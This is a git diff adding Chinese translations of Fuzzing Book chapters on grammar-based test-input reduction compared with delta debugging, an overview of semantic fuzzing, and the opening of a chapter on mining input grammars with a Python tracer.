+    def symbol_reductions(self, tree, symbol, depth=-1):
+        """Find all expansion alternatives for the given symbol"""
+        reductions = (self.subtrees_with_symbol(tree, symbol, depth=depth)
+                      + self.alternate_reductions(tree, symbol, depth=depth))
+
+        # Filter duplicates
+        unique_reductions = []
+        for r in reductions:
+            if r not in unique_reductions:
+                unique_reductions.append(r)
+
+        return unique_reductions
+
+```
+
+```py
+grammar_reducer = GrammarReducer(
+    mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_reduce=True)
+
+```
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+这些是`<expr>`节点的可能减少量。 请注意，在进行`<expr>`（`1`）的替代扩展之前，我们如何首先返回子树（`1 + (2 * 3)`，`(2 * 3)`和`2 * 3`）。
+
+```py
+reductions = grammar_reducer.symbol_reductions(derivation_tree, "<expr>")
+tree_list_to_string([r for r in reductions])
+
+```
+
+```py
+'[1 + (2 * 3), (2 * 3), 2 * 3, 1]'
+
+```
+
+这些是`<term>`节点的可能减少量。 再次，我们首先具有派生树的子树，然后是备用扩展`1 * 1`。
+
+```py
+reductions = grammar_reducer.symbol_reductions(derivation_tree, "<term>")
+tree_list_to_string([r for r in reductions])
+
+```
+
+```py
+'[1, (2 * 3), 2 * 3, 3, 1 * 1]'
+
+```
+
+### 减少策略
+
+现在，我们可以为树中的每个符号返回许多替代项。 这就是我们在减少策略`reduce_subtree()`的核心功能中应用的内容。 从`subtree`开始，我们发现每个孩子的减少量都有可能。 对于每个归约，我们用归约替换子对象，并测试生成的（完整）树。 如果失败，则说明还原成功。 否则，我们将孩子放回原位，然后尝试下一个减少方法。 最终，我们将`reduce_subtree()`应用于所有儿童，并减少了这些儿童。
+
+```py
+class GrammarReducer(GrammarReducer):
+    def reduce_subtree(self, tree, subtree, depth=-1):
+        symbol, children = subtree
+        if len(children) == 0:
+            return False
+
+        if self.log_reduce:
+            print("Reducing", all_terminals(subtree), "with depth", depth)
+
+        reduced = False
+        while True:
+            reduced_child = False
+            for i, child in enumerate(children):
+                (child_symbol, _) = child
+                for reduction in self.symbol_reductions(
+                        child, child_symbol, depth):
+                    if number_of_nodes(reduction) >= number_of_nodes(child):
+                        continue
+
+                    # Try this reduction
+                    if self.log_reduce:
+                        print(
+                            "Replacing",
+                            all_terminals(
+                                children[i]),
+                            "by",
+                            all_terminals(reduction))
+                    children[i] = reduction
+                    if self.test(all_terminals(tree)) == Runner.FAIL:
+                        # Success
+                        if self.log_reduce:
+                            print("New tree:", all_terminals(tree))
+                        reduced = reduced_child = True
+                        break
+                    else:
+                        # Didn't work out - restore
+                        children[i] = child
+
+            if not reduced_child:
+                if self.log_reduce:
+                    print("Tried all alternatives for", all_terminals(subtree))
+                break
+
+        # Run recursively
+        for c in children:
+            if self.reduce_subtree(tree, c, depth):
+                reduced = True
+
+        return reduced
+
+```
+
+我们现在需要的只是一些驱动程序。 方法`reduce_tree()`是`reduce_subtree()`的主要入口点：
+
+```py
+class GrammarReducer(GrammarReducer):
+    def reduce_tree(self, tree):
+        return self.reduce_subtree(tree, tree)
+
+```
+
+定制方法`parse()`将给定的输入转换为派生树：
+
+```py
+class GrammarReducer(GrammarReducer):
+    def parse(self, inp):
+        tree, *_ = self.parser.parse(inp)
+        if self.log_reduce:
+            print(all_terminals(tree))
+        return tree
+
+```
+
+方法`reduce()`是一个单一的入口点，先解析输入然后进行缩减。
+
+```py
+class GrammarReducer(GrammarReducer):
+    def reduce(self, inp):
+        tree = self.parse(inp)
+        self.reduce_tree(tree)
+        return all_terminals(tree)
+
+```
+
+让我们在输入`expr_input`和`mystery()`函数上实践一下。 我们多快减少一次？
+
+```py
+expr_input
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+```py
+grammar_reducer = GrammarReducer(
+    eval_mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_test=True)
+grammar_reducer.reduce(expr_input)
+
+```
+
+```py
+Test #1 '(2 * 3)' 7 FAIL
+Test #2 '2 * 3' 5 PASS
+Test #3 '3' 1 PASS
+Test #4 '2' 1 PASS
+Test #5 '(3)' 3 FAIL
+
+```
+
+```py
+'(3)'
+
+```
+
+成功！ 仅需五步，我们的`GrammarReducer`就将输入降至导致故障的最小值。 请注意，所有测试在构造上如何在语法上有效，避免了导致增量调试停止的`UNRESOLVED`结果。
+
+### 深度策略
+
+即使已经做好了五个步骤，我们仍然可以做得更好。 如果我们看一下上面的日志，可以看到在测试`#2`后，其中输入（树）被减少为`2 * 3`，我们的`GrammarReducer`首先尝试用`2`和`3`替换树， 这是备用`<term>`子树。 当然，这可能有效； 但是如果有很多可能的子树，我们的策略将花费相当多的时间来尝试一个接一个的子树。
+
+如上所述，Delta调试遵循的想法是尝试将输入削减大约一半，从而迅速实现最小输入。 通过用小得多的子树替换树，我们*可能会*显着减少树，但可能需要进行几次尝试。 更好的策略是只考虑*大型*子树-既用于子树替换又用于替代扩展。 为了找到这样的*大*子树，我们限制了*深度*，通过它我们可以在子树中搜索可能的替换-首先，通过查看直接后代，然后在较低的后代中。
+
+这是`subtrees_with_symbol()`中使用的`depth`参数的作用，并通过调用函数传递。 如果设置，则仅返回给定深度的*符号。 这是一个示例，再次从我们的派生树`derivation_tree`开始：*
+
+```py
+grammar_reducer = GrammarReducer(
+    mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_reduce=True)
+
+```
+
+```py
+all_terminals(derivation_tree)
+
+```
+
+```py
+'1 + (2 * 3)'
+
+```
+
+```py
+display_tree(derivation_tree)
+
+```
+
+<svg height="584pt" viewBox="0.00 0.00 203.00 584.00" width="203pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 580)"><title>%3</title> <g class="node" id="node1"><title>0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-564.8"><start></text></g> <g class="node" id="node2"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-513.8"><expr></text></g> <g class="edge" id="edge1"><title>0->1</title></g> <g class="node" id="node3"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-462.8"><term></text></g> <g class="edge" id="edge2"><title>1->2</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.5" y="-462.8">+</text></g> <g class="edge" id="edge7"><title>1->7</title></g> <g class="node" id="node9"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-462.8"><expr></text></g> <g class="edge" id="edge8"><title>1->8</title></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-411.8"><factor></text></g> <g class="edge" id="edge3"><title>2->3</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-360.8"><integer></text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-309.8"><digit></text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="27.5" y="-258.8">1</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-411.8"><term></text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node11"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-360.8"><factor></text></g> <g class="edge" id="edge10"><title>9->10</title></g> <g class="node" id="node12"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="79.5" y="-309.8">(</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node13"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-309.8"><expr></text></g> <g class="edge" id="edge12"><title>10->12</title></g> <g class="node" id="node25"><title>24</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="161.5" y="-309.8">)</text></g> <g class="edge" id="edge24"><title>10->24</title></g> <g class="node" id="node14"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-258.8"><term></text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="node" id="node15"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-207.8"><factor></text></g> <g class="edge" id="edge14"><title>13->14</title></g> <g class="node" id="node19"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="120.5" y="-207.8">*</text></g> <g class="edge" id="edge18"><title>13->18</title></g> <g class="node" id="node20"><title>19</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-207.8"><term></text></g> <g class="edge" id="edge19"><title>13->19</title></g> <g class="node" id="node16"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-156.8"><integer></text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="node" id="node17"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-105.8"><digit></text></g> <g class="edge" id="edge16"><title>15->16</title></g> <g class="node" id="node18"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="70.5" y="-54.8">2</text></g> <g class="edge" id="edge17"><title>16->17</title></g> <g class="node" id="node21"><title>20</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-156.8"><factor></text></g> <g class="edge" id="edge20"><title>19->20</title></g> <g class="node" id="node22"><title>21</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-105.8"><integer></text></g> <g class="edge" id="edge21"><title>20->21</title></g> <g class="node" id="node23"><title>22</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-54.8"><digit></text></g> <g class="edge" id="edge22"><title>21->22</title></g> <g class="node" id="node24"><title>23</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="167.5" y="-3.8">3</text></g> <g class="edge" id="edge23"><title>22->23</title></g></g></svg>
+
+深度为1时，没有`<term>`符号：
+
+```py
+[all_terminals(t) for t in grammar_reducer.subtrees_with_symbol(
+    derivation_tree, "<term>", depth=1)]
+
+```
+
+```py
+[]
+
+```
+
+在深度2处，左侧有`<term>`子树：
+
+```py
+[all_terminals(t) for t in grammar_reducer.subtrees_with_symbol(
+    derivation_tree, "<term>", depth=2)]
+
+```
+
+```py
+['1']
+
+```
+
+深度为3时，右侧有`<term>`子树：
+
+```py
+[all_terminals(t) for t in grammar_reducer.subtrees_with_symbol(
+    derivation_tree, "<term>", depth=3)]
+
+```
+
+```py
+['(2 * 3)']
+
+```
+
+现在的想法是从深度0开始，然后随着我们的进行逐渐增加：
+
+```py
+class GrammarReducer(GrammarReducer):
+    def reduce_tree(self, tree):
+        depth = 0
+        while depth < max_height(tree):
+            reduced = self.reduce_subtree(tree, tree, depth)
+            if reduced:
+                depth = 0    # Start with new tree
+            else:
+                depth += 1   # Extend search for subtrees
+        return tree        
+
+```
+
+```py
+grammar_reducer = GrammarReducer(
+    mystery,
+    EarleyParser(EXPR_GRAMMAR),
+    log_test=True)
+grammar_reducer.reduce(expr_input)
+
+```
+
+```py
+Test #1 '(2 * 3)' 7 FAIL
+Test #2 '(3)' 3 FAIL
+Test #3 '3' 1 PASS
+
+```
+
+```py
+'(3)'
+
+```
+
+我们看到，面向深度的策略在我们的设置中需要更少的步骤。
+
+### 比较策略
+
+最后，我们将演示基于文本的增量调试与基于语法的简化之间的区别。 我们建立一个很长的表达：
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+long_expr_input = GrammarFuzzer(EXPR_GRAMMAR, min_nonterminals=100).fuzz()
+long_expr_input
+
+```
+
+```py
+'++---((-2 / 3 / 3 - -+1 / 5 - 2) * ++6 / +8 * 4 / 9 / 2 * 8 + ++(5) * 3 / 8 * 0 + 3 * 3 + 4 / 0 / 6 + 9) * ++++(+--9 * -3 * 7 / 4 + --(4) / 3 - 0 / 3 + 5 + 0) * (1 * 6 - 1 / 9 * 5 - 9 / 0 + 7) * ++(8 - 1) * +1 * 7 * 0 + ((1 + 4) / 4 * 8 * 9 * 4 + 4 / (4) * 1 - (4) * 8 * 5 + 1 + 4) / (+(2 - 1 - 9) * 5 + 3 + 6 - 2) * +3 * (3 - 7 + 8) / 4 - -(9 * 4 - 1 * 0 + 5) / (5 / 9 * 5 + 2) * 7 + ((7 - 5 + 3) / 1 * 8 - 8 - 9) * --+1 * 4 / 4 - 4 / 7 * 4 - 3 / 6 * 1 - 2 - 7 - 8'
+
+```
+
+使用语法，我们只需要进行少量测试即可找到导致失败的输入：
+
+```py
+from [Timer](Timer.html) import Timer
+
+```
+
+```py
+grammar_reducer = GrammarReducer(eval_mystery, EarleyParser(EXPR_GRAMMAR))
+with Timer() as grammar_time:
+    print(grammar_reducer.reduce(long_expr_input))
+
+```
+
+```py
+(9)
+
+```
+
+```py
+grammar_reducer.tests
+
+```
+
+```py
+10
+
+```
+
+```py
+grammar_time.elapsed_time()
+
+```
+
+```py
+0.20119122300002346
+
+```
+
+相比之下，Delta调试需要更多数量级的测试（因此需要更多时间）。 同样，这种归约没有像基于语法的归约器那样完美。
+
+```py
+dd_reducer = DeltaDebuggingReducer(eval_mystery)
+with Timer() as dd_time:
+    print(dd_reducer.reduce(long_expr_input))
+
+```
+
+```py
+((2 - 1 - 2) * 8 + (5) - (4)) / ((2) * 3) * (9) / 3 / 1 - 8
+
+```
+
+```py
+dd_reducer.tests
+
+```
+
+```py
+900
+
+```
+
+```py
+dd_time.elapsed_time()
+
+```
+
+```py
+5.701468969999951
+
+```
+
+我们看到，如果输入在语法上很复杂，那么使用语法来减少输入是最好的方法。
+
+## 经验教训
+
+*   将导致故障的输入减少到最低程度有助于测试和调试。
+*   *Delta调试*是一种简单且健壮的算法，可轻松减少测试用例。
+*   对于语法复杂的输入，基于语法的*归约*更快，并且产生更好的结果。
+
+## 后续步骤
+
+我们的下一章重点介绍 [Web GUI Fuzzing](WebFuzzer.html) ，这是生成和减少测试用例的另一个领域。
+
+## 背景
+
+这里讨论的增量调试算法源自[ [Zeller *等人*，2002。](https://doi.org/10.1109/32.988498)]； 实际上，这是Zeller在2002年使用的确切的Python实现。系统地减少输入的想法已经被发现了很多次，尽管不像增量调试那样自动和通用。 [ [Slutz *等人*，1998。](https://www.microsoft.com/en-us/research/publication/massive-stochastic-testing-of-sql/)]，例如，讨论了SQL数据库的SQL语句的系统化简化。 [Kernighan *等人*，1999。]很好地描述了作为手工工作的一般过程。
+
+关于语法复杂输入的增量调试缺陷首先在*编译器测试*中进行了讨论，然后迅速发现*减少树输入*而不是字符串输入是替代方法。 *分层Delta调试*（ *HDD* ）[ [Misherghi *等人*，2006\.](https://doi.org/10.1145/1134285.1134307) ]在分析树的子树上应用增量调试，系统地减少了调试次数 解析树最小。 *广义树减少* [ [Herfert *等人*，2017年。](http://dl.acm.org/citation.cfm?id=3155562.3155669)概括了此想法，以应用任意*模式*，例如用兼容替换术语 子树中的术语，如`subtrees_with_symbol()`。
+
+但是，现有方法均未使用语法来应用扩展替代项（如`alternate_reductions()`那样）； 他们也没有努力首先替换较大的子树（如`reduce_tree()`一样）。 因此，本章做出了原创性贡献。
+
+尽管`GrammarReducer`是可以使用任意语法进行参数化的通用方法，但是*语言特定的*方法可以为手头的语言做得更好。 *C-Reduce* [ [Regehr *等人*，2012。](https://doi.org/10.1145/2254064.2254104)]是专门针对编程语言还原的还原器。 除了减少增量调试或树形转换的样式之外，C-Reduce还提供了30多个源到源转换，这些转换用标量替换聚合，删除定义和所有调用位置的函数参数，更改函数以返回`void` 并删除所有`return`语句，等等。 尽管这些原理是为C语言专门实例化的（并用于测试C编译器），但这些原理扩展到遵循类似ALGOL语法的任意编程语言。 测试编译器时，可以使用C-Reduce。
+
+David McIver的[博客文章](https://www.drmaciver.com/2019/01/notes-on-test-case-reduction/)包含了许多有关如何在实践中应用约简的见解，尤其是具有不同抽象级别的多次运行。
+
+## 练习
+
+如何最好地减少投入仍然是一个欠发达的研究领域，有很多机会。
+
+### 练习1：基于变异的基于模糊的模糊
+
+当对种群进行模糊测试时，偶尔地*减小*每个元素的长度可能会很有用，这样将来的后代也会更短，这通常会加快测试速度。
+
+考虑[中的`MutationFuzzer`类，这是基于突变的模糊](MutationFuzzer.html)的一章。 扩展它，以便每当将新输入添加到总体中时，首先使用增量调试来减少它。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Reducer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：通过生产减少
+
+如上所述，基于语法的输入减少可能是一个很好的算法，但绝不是唯一的选择。 一个有趣的问题是“还原”应仅限于已经存在的元素，还是应该允许人们也创建*新的*元素。 这些将不会出现在原始输入中，但仍然允许产生更小的输入，而这些输入仍会重现原始故障。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Reducer.ipynb#Exercises) to work on the exercises and see solutions.
+
+例如，请考虑以下语法：
+
+```py
+<number> ::= <float> | <integer> | <not-a-number>
+<float> ::= <digits>.<digits>
+<integer> ::= <digits>
+<not-a-number> ::= NaN
+<digits> ::= [0-9]+
+```
+
+假设输入`100.99`失败。 我们也许可以将其降低到`1.9`的最小值。 但是，我们不能将其简化为`<integer>`或`<not-a-number>`，因为这些符号不会出现在原始输入中。 通过允许*为这些符号创建*替代项，我们还可以测试诸如`1`或`NaN`之类的输入，并进一步归纳程序失败的输入类别。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Reducer.ipynb#Exercises) to work on the exercises and see solutions.
+
+创建一个类`GenerativeGrammarReducer`作为`GrammarReducer`的子类； 相应地扩展方法`reduce_subtree()`。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Reducer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习3：大幅度减少枪战
+
+为先前已经定义的语法创建*基准*，该语法包括：
+
+1.  一组*输入*，这些输入是使用`GrammarFuzzer`及其派生词从这些语法中产生的；
+2.  一组*测试*，这些代码检查单个符号以及这些符号的对和三对的出现：
+    *   如果输入在语法上无效，则测试应为*未解析的*；
+    *   如果出现符号（或其对或三元组），则测试*不通过*；
+    *   在所有其他情况下，测试应*通过*。
+
+在基准上比较增量调试和基于语法的调试。 实施HDD [ [Misherghi *等*，2006\.](https://doi.org/10.1145/1134285.1134307) ]和*广义减树* [ [Herfert *等*等，2017。](http://dl.acm.org/citation.cfm?id=3155562.3155669)]并将它们添加到您的比较中。 哪种方法效果最佳，在什么情况下？
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/Reducer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/23.md b/new/fuzzing-book-zh/23.md
new file mode 100644
index 0000000000000000000000000000000000000000..dce8c5f60a05a4c4b7e89ab204b39b004027c0d1
--- /dev/null
+++ b/new/fuzzing-book-zh/23.md
@@ -0,0 +1,15 @@
+# 第四部分：语义模糊
+
+> 原文： [https://www.fuzzingbook.org/html/04_Semantical_Fuzzing.html](https://www.fuzzingbook.org/html/04_Semantical_Fuzzing.html)
+
+本部分介绍了测试生成技术，这些技术考虑了输入的*语义*，尤其是处理输入的程序的行为。
+
+*   [语法挖掘](GrammarMiner.html)显示了如何通过分析如何处理输入的各个部分来从程序中提取输入语法。 生成的语法可以直接用于模糊测试。
+
+*   [跟踪信息流](InformationFlow.html)显示了如何跟踪整个程序的输入，以便发现信息泄漏并进一步改进分析技术。
+
+*   [Concolic Fuzzing](ConcolicFuzzer.html) 分析程序代码以解决程序中的*路径约束*，以覆盖难以实现的分支和行为。
+
+*   [符号模糊检测](SymbolicFuzzer.html)的工作方式类似于圆锥模糊检测，但根本不需要执行任何操作。
+
+*   [挖掘功能规范](DynamicInvariants.html)从程序执行中提取类型信息以及前提条件和后置条件–对程序分析，测试和验证有用的信息。
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/24.md b/new/fuzzing-book-zh/24.md
new file mode 100644
index 0000000000000000000000000000000000000000..075e087ba5a20841796ed6d05ba4b49436b987ed
--- /dev/null
+++ b/new/fuzzing-book-zh/24.md
@@ -0,0 +1,4453 @@
+# 挖掘输入文法
+
+> 原文： [https://www.fuzzingbook.org/html/GrammarMiner.html](https://www.fuzzingbook.org/html/GrammarMiner.html)
+
+到目前为止，我们所看到的语法大多是手动指定的-也就是说，您（或知道输入格式的人）必须首先设计和编写语法。 尽管到目前为止我们所看到的语法非常简单，但是为复杂的输入创建语法可能需要付出很多努力。 因此，在本章中，我们将介绍*自动从程序*中挖掘语法的技术-通过执行程序并观察它们如何处理输入的哪些部分。 结合语法模糊测试，我们可以
+
+1.  参加节目
+2.  提取其输入语法，然后
+3.  使用本书中的概念，以高效率和有效性对其进行模糊处理。
+
+**前提条件**
+
+*   您应该阅读语法的[一章。](Grammars.html)
+*   关于配置模糊检测的[一章介绍了配置选项的语法挖掘，以及在执行过程中观察变量和值。](ConfigurationFuzzer.html)
+*   我们使用覆盖的[一章中的跟踪器。](Coverage.html)
+*   解析器的[章中的解析概念也很有用。](Parser.html)
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.GrammarMiner](GrammarMiner.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章提供了许多类来从现有程序中挖掘输入语法。 函数`recover_grammar()`可能最容易使用。 它接受一个函数和一组输入，并返回描述其输入语言的语法。
+
+我们在`url_parse()`函数上应用`recover_grammar()`，该函数采用并分解URL：
+
+```py
+>>> url_parse('https://www.fuzzingbook.org/')
+>>> URLS
+['http://user:pass@www.google.com:80/?q=path#ref',
+ 'https://www.cispa.saarland:80/',
+ 'http://www.fuzzingbook.org/#News']
+
+```
+
+我们使用`recover_grammar()`提取`url_parse()`的输入语法：
+
+```py
+>>> grammar = recover_grammar(url_parse, URLS)
+>>> grammar
+{'<start>': ['<urlsplit@394:url>'],
+ '<urlsplit@394:url>': ['<__new__@12:scheme>:<_splitnetloc@386:url>'],
+ '<__new__@12:scheme>': ['https', '<__new__@12:scheme>', 'http'],
+ '<_splitnetloc@386:url>': ['//<__new__@12:netloc><urlsplit@415:url>',
+  '//<__new__@12:netloc>/'],
+ '<__new__@12:netloc>': ['www.cispa.saarland:80',
+  '<__new__@12:netloc>',
+  'user:pass@www.google.com:80',
+  'www.fuzzingbook.org'],
+ '<urlsplit@415:url>': ['/#<__new__@12:fragment>',
+  '<urlsplit@420:url>#<__new__@12:fragment>'],
+ '<urlsplit@420:url>': ['/?<__new__@12:query>'],
+ '<__new__@12:query>': ['q=path', '<__new__@12:query>'],
+ '<__new__@12:fragment>': ['News', '<__new__@12:fragment>', 'ref']}
+
+```
+
+非终端的名称有点技术性。 但是语法很好地表示了输入的结构； 例如，可以识别不同的方案（`"http"`和`"https"`）。 语法可立即用于模糊测试，产生输入元素的任意组合，这些组合在语法上均有效。
+
+```py
+>>> from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer
+>>> fuzzer = GrammarCoverageFuzzer(grammar)
+>>> [fuzzer.fuzz() for i in range(5)]
+['https://www.cispa.saarland:80/?q=path#News',
+ 'http://www.fuzzingbook.org/',
+ 'http://user:pass@www.google.com:80/#ref',
+ 'http://www.fuzzingbook.org/#News',
+ 'https://user:pass@www.google.com:80/?q=path#ref']
+
+```
+
+能够自动提取语法并将此语法用于模糊测试，可以用最少的人工就非常有效地生成测试。
+
+## 语法挑战
+
+考虑解析器的[章中的`process_inventory()`方法：](Parser.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Parser](Parser.html) import process_inventory, process_vehicle, process_car, process_van, lr_graph  # minor dependency
+
+```
+
+它采用以下形式的输入。
+
+```py
+INVENTORY = """\
+1997,van,Ford,E350
+2000,car,Mercury,Cougar
+1999,car,Chevy,Venture\
+"""
+
+```
+
+```py
+print(process_inventory(INVENTORY))
+
+```
+
+```py
+We have a Ford E350 van from 1997 vintage.
+It is an old but reliable model!
+We have a Mercury Cougar car from 2000 vintage.
+It is an old but reliable model!
+We have a Chevy Venture car from 1999 vintage.
+It is an old but reliable model!
+
+```
+
+从解析器的[一章中我们发现，当输入格式仅包含用代码表示的细节时，粗略的语法就不能很好地用于模糊测试。 也就是说，即使我们已经有了CSV文件的正式规范（](Parser.html) [RFC 4180](https://tools.ietf.org/html/rfc4180) ），库存系统仍包含有关CSV文件每个索引的预期规则。 仅合并现有输入的解决方案虽然可行，但并不完整。 特别是，它首先依赖于正式的输入规范。 但是，我们不能保证程序遵守给定的输入规范。
+
+摆脱这种困境的方法之一就是询问被测程序的输入规范。 也就是说，如果以某种方式编写被测程序，使得特定方法负责处理输入的特定部分，则可以通过观察解析过程来恢复解析树。 此外，可以通过从多个输入树中提取来恢复语法的合理近似。
+
+*我们从假设（1）开始，该程序是以这样的方式编写的：特定的方法负责解析程序的特定片段-这几乎包括所有临时解析器。*
+
+这个想法如下：
+
+*   深入了解Python执行过程，观察输入字符串的片段，这些片段是用不同的方法生成和命名的。
+*   将输入片段以树形结构拼接在一起，以检索**解析树**。
+*   从多个解析树中提取公共元素，以产生输入的**上下文无关语法**。
+
+## 一个简单的语法矿工
+
+假设我们要获取函数`process_vehicle()`的输入语法。 我们首先收集此功能的样本输入。
+
+```py
+VEHICLES = INVENTORY.split('\n')
+
+```
+
+负责处理库存的方法集如下。
+
+```py
+INVENTORY_METHODS = {
+    'process_inventory',
+    'process_vehicle',
+    'process_van',
+    'process_car'}
+
+```
+
+从[配置模糊化](ConfigurationFuzzer.html)的一章中可以看出，人们可以加入Python运行时以观察函数的参数和创建的任何局部变量。 我们还看到，可以通过检查`frame`参数来获取执行的上下文。 这是一个简单的跟踪器，可以在被跟踪的函数中返回局部变量和其他上下文信息。 我们重用`Coverage`跟踪类。
+
+### 追踪器
+
+```py
+from [Coverage](Coverage.html) import Coverage
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+```py
+class Tracer(Coverage):
+    def traceit(self, frame, event, arg):
+        method_name = inspect.getframeinfo(frame).function
+        if method_name not in INVENTORY_METHODS:
+            return
+        file_name = inspect.getframeinfo(frame).filename
+
+        param_names = inspect.getargvalues(frame).args
+        lineno = inspect.getframeinfo(frame).lineno
+        local_vars = inspect.getargvalues(frame).locals
+        print(event, file_name, lineno, method_name, param_names, local_vars)
+        return self.traceit
+
+```
+
+我们在跟踪上下文下运行代码。
+
+```py
+with Tracer() as tracer:
+    process_vehicle(VEHICLES[0])
+
+```
+
+```py
+call <string> 1 process_vehicle ['vehicle'] {'vehicle': '1997,van,Ford,E350'}
+line <string> 2 process_vehicle ['vehicle'] {'vehicle': '1997,van,Ford,E350'}
+line <string> 3 process_vehicle ['vehicle'] {'vehicle': '1997,van,Ford,E350', '_': [], 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+line <string> 4 process_vehicle ['vehicle'] {'vehicle': '1997,van,Ford,E350', '_': [], 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+call <string> 1 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line <string> 2 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997'}
+line <string> 3 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997', 'res': ['We have a Ford E350 van from 1997 vintage.']}
+line <string> 4 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997', 'res': ['We have a Ford E350 van from 1997 vintage.'], 'iyear': 1997}
+line <string> 7 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997', 'res': ['We have a Ford E350 van from 1997 vintage.'], 'iyear': 1997}
+line <string> 8 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997', 'res': ['We have a Ford E350 van from 1997 vintage.', 'It is an old but reliable model!'], 'iyear': 1997}
+return <string> 8 process_van ['year', 'company', 'model'] {'model': 'E350', 'company': 'Ford', 'year': '1997', 'res': ['We have a Ford E350 van from 1997 vintage.', 'It is an old but reliable model!'], 'iyear': 1997}
+return <string> 4 process_vehicle ['vehicle'] {'vehicle': '1997,van,Ford,E350', '_': [], 'model': 'E350', 'company': 'Ford', 'kind': 'van', 'year': '1997'}
+
+```
+
+我们希望从跟踪中获得的主要内容是将输入片段分配给不同变量的列表。 如上所示，我们可以使用跟踪工具`settrace()`来获取它。
+
+但是，`settrace()`函数挂接到Python调试工具中。 当它运行时，没有调试器可以挂接到程序中。 也就是说，如果我们的语法挖掘器存在问题，我们将无法在其上附加调试器以了解正在发生的情况。 这是不理想的。 因此，我们将跟踪器限制为最简单的实现方式，并在以后的阶段中实现语法挖掘的核心。
